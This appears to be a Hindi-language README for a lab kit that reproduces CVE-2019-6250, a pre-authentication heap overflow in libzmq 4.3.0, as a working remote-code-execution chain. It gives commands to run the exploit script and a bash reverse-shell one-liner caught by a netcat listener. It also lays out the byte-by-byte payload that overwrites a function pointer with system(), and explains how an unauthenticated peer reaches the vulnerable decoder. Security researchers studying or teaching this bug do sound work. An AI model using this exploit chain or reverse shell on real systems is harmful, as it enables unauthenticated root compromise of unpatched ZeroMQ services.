
CVE-2019-6250 (libzmq <= 4.3.0, ZMTP/2.0 wire-protocol) के लिए एंड-टू-एंड प्री-ऑथ RCE लैब
एंड-टू-एंड कार्यशील RCE श्रृंखला + CVE-2019-6250 के लिए पुनरुत्पादनीय लैब, जो libzmq के v2_decoder_t::size_ready में प्री-प्रमाणीकरण हीप-बफर-ओवरफ्लो है। एक uint64_t पॉइंटर-अंकगणितीय ओवरफ्लो एक अप्रमाणित पीयर को ZMTP/2.0 वायर पथ पर आसन्न msg_t::content_t::ffn फंक्शन पॉइंटर को अधिलेखित करने की अनुमति देता है, फिर TCP सॉकेट बंद करने → ~v2_decoder_t() → _in_progress.close() → system(cmd) के माध्यम से इसे ट्रिगर करता है।
द्वारा Nicolas Krassas (@dinosn).
केवल प्रयोगशाला उपयोग के लिए। यह किट जानबूझकर कमजोर libzmq 4.3.0 के साथ आता है। कृपया पोर्ट 5555 को प्रयोगशाला के बाहर उजागर न करें। यह बग सात साल पहले libzmq 4.3.1 में ठीक किया गया था (कमिट
1a2ed127).
system() श्रृंखला — फ़ाइल प्रमाण


docker build -t cve-2019-6250-lab .
docker run --rm -it --cap-add=SYS_ADMIN --security-opt seccomp=unconfined \
-p 5555:5555 cve-2019-6250-lab
# कंटेनर के अंदर:
/opt/zmq-rce/exploit.py 127.0.0.1 5555
ls -l /tmp/PWNED-CVE-2019-6250 # <-- libzmq सर्वर प्रक्रिया द्वारा बनाया गया
sudo ./setup.sh # libzmq 4.3.0 + लक्ष्य बनाता है, ASLR अक्षम करता है
sudo ./start_server.sh # tcp://0.0.0.0:5555 बाइंड करता है
./exploit.py 127.0.0.1 5555 # डिफ़ॉल्ट कमांड: touch /tmp/PWNED-CVE-2019-6250
ls -l /tmp/PWNED-CVE-2019-6250
# टर्मिनल 1 — श्रोता
nc -lvnp 4444
# टर्मिनल 2 — श्रृंखला को चलाएँ
./exploit.py 127.0.0.1 5555 'bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"'
आपको कुछ इस प्रकार दिखना चाहिए:
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 55842
bash: cannot set terminal process group (1355844): Inappropriate ioctl for device
bash: no job control in this shell
root@host:/opt/zmq-rce#
cannot set terminal process group (1355844) लाइन पुष्टि करती है कि शेल libzmq लक्ष्य प्रक्रिया (PID 1355844) द्वारा स्पॉन किया गया था, न कि आपके द्वारा स्थानीय रूप से चलाई गई किसी चीज़ से।
.
├── README.md # आप यहाँ हैं
├── server.c # छोटा PULL श्रोता — कमज़ोर लक्ष्य
├── exploit.py # पूर्ण RCE श्रृंखला
├── setup.sh # बेयर-मेटल प्रावधानकर्ता (libzmq 4.3.0 को क्लोन + बनाता है)
├── start_server.sh # लक्ष्य प्रारंभ/पुनरारंभ
├── read_addresses.sh # किसी भिन्न छवि के लिए पता प्रोफ़ाइल पुनर्जीवित करें
├── run_lab_test.sh # स्वचालित एंड-टू-एंड स्मोक टेस्ट (CI-अनुकूल)
├── Dockerfile # एक-कमांड कंटेनरीकृत लैब
└── screenshots/ # README स्क्रीनशॉट (charmbracelet/freeze से उत्पन्न)
src/v2_decoder.cpp:117 (libzmq 4.3.0):
shared_message_memory_allocator &allocator = get_allocator ();
if (unlikely (!_zero_copy
|| ((unsigned char *) read_pos_ + msg_size_ // <-- लिपट जाता है
> (allocator.data () + allocator.size ())))) {
rc = _in_progress.init_size (static_cast<size_t> (msg_size_)); // सुरक्षित पथ
} else {
rc = _in_progress.init (read_pos_, msg_size_, call_dec_ref,
allocator.buffer (), allocator.provide_content ());
// शून्य-प्रतिलिपि उपनाम पथ — _in_progress.data() == read_pos_
}
msg_size_ हमलावर-नियंत्रित बिग-एंडियन uint64_t है जो ZMTP/2.0 LARGE-फ्रेम हेडर से आता है। msg_size_ = 0xFFFFFFFFFFFFFFFF के साथ, योग read_pos_ + msg_size_ modulo 2⁶⁴ लपेटता है और दाएँ हाथ की ओर कम हो जाता है। सीमा जाँच गलत मूल्यांकित होती है → निष्पादन शून्य-प्रतिलिपि पथ में आ जाता है → _in_progress संदेश recv बफ़र का उपनाम लेता है। डिकोडर तब कर्नेल से read_pos_ पर 0xFFFFFFFFFFFFFFFF अतिरिक्त बाइट्स के लिए पूछता है, और recv() हमारे पेलोड को recv बफ़र के अंत से आगे आसन्न content_t[] सरणी (उसी malloc() खंड में decoder_allocators.cpp:88 पर आवंटित) में खुशी से लिखता है।
[ atomic_counter_t (refcnt) ] 8 बाइट्स
[ recv बफ़र ] 8192 बाइट्स ← read_pos_+0 से बाइट्स उतरना शुरू होते हैं
[ content_t [ _max_counters ] ] 249 × 40 = 9960 बाइट्स
↑ content_t[0] read_pos_+8183 से शुरू होता है
हम 8224 पेलोड बाइट्स भेजते हैं जो इस प्रकार संरचित होते हैं:
| पेलोड ऑफ़सेट | बाइट्स | क्या अधिलेखित होता है |
|---|---|---|
[0:16] | पैडिंग | (recv बफ़र में) |
[16:K] | कमांड स्ट्रिंग + NUL | (recv बफ़र में — system का तर्क) |
[K:8183] | पैडिंग | (recv बफ़र में) |
[8183:8191] | read_pos+16 | content_t[0].data (→ कमांड) |
[8191:8199] | 0 | content_t[0].size |
[8199:8207] | &system | content_t[0].ffn (नियंत्रण-प्रवाह लक्ष्य) |
[8207:8215] | 0 | content_t[0].hint |
[8215:8223] | 0 | content_t[0].refcnt |
जब हम TCP सॉकेट बंद करते हैं, तो सर्वर का ~v2_decoder_t() _in_progress.close() को कॉल करता है। msg_t::close में:
if (!(_u.zclmsg.flags & shared) || !content->refcnt.sub(1)) {
content->ffn(content->data, content->hint); // -> system(cmd)
}
init_external_storage ने _u.zclmsg.flags = 0 सेट किया, इसलिए OR-शॉर्टकट तुरंत शाखा लेता है — refcnt की जाँच भी नहीं की जाती। हमारा अधिलेखित ffn चलता है।
कोई ROP नहीं, कोई शेलकोड नहीं, कोई सूचना-लीक नहीं: केवल एक libc प्रतीक समाधान और एक इनलाइन कमांड स्ट्रिंग।
v2_decoder_t तक प्री-प्रमाणीकरण पहुँचनाstream_engine.cpp:707 पर देखें:
bool zmq::stream_engine_t::handshake_v2_0 ()
{
if (_session->zap_enabled ()) { error (...); return false; }
_encoder = new v2_encoder_t (...);
_decoder = new v2_decoder_t (...); // <-- कोई मैकेनिज्म ऑब्जेक्ट नहीं
return true;
}
ZMTP/2.0 पथ v2_decoder_t को बिना किसी मैकेनिज्म के तुरंत बनाता है। केवल ZAP 2.0 कनेक्शनों को अस्वीकार करता है, और ZAP डिफ़ॉल्ट रूप से बंद है। जैसे ही कोई पीयर 12-बाइट ZMTP/2.0 अभिवादन (0xff + 8 null + 0x7f + संशोधन 0x01 + सॉकेट-प्रकार) भेजता है, प्रत्येक बाद का बाइट v2_decoder_t द्वारा पार्स किया जाता है। कोई प्रमाणीकरण नहीं। कोई हैंडशेक नहीं। कोई मैकेनिज्म स्टेट मशीन नहीं।
वैकल्पिक: -fsanitize=address के साथ बनाएँ और हीप-बफर-ओवरफ्लो रिपोर्ट देखें:

0 bytes after 18160-byte region हमारे द्वारा गणना किए गए खंड आकार की पुष्टि करता है: 8 (atomic_counter) + 8192 (recv buffer) + 249 × 40 (content_t array) = 18160। handshake_v2_0:719 पर आवंटन साइट पुष्टि करती है कि बग प्री-प्रमाणीकरण ZMTP/2.0 पथ पर चलता है।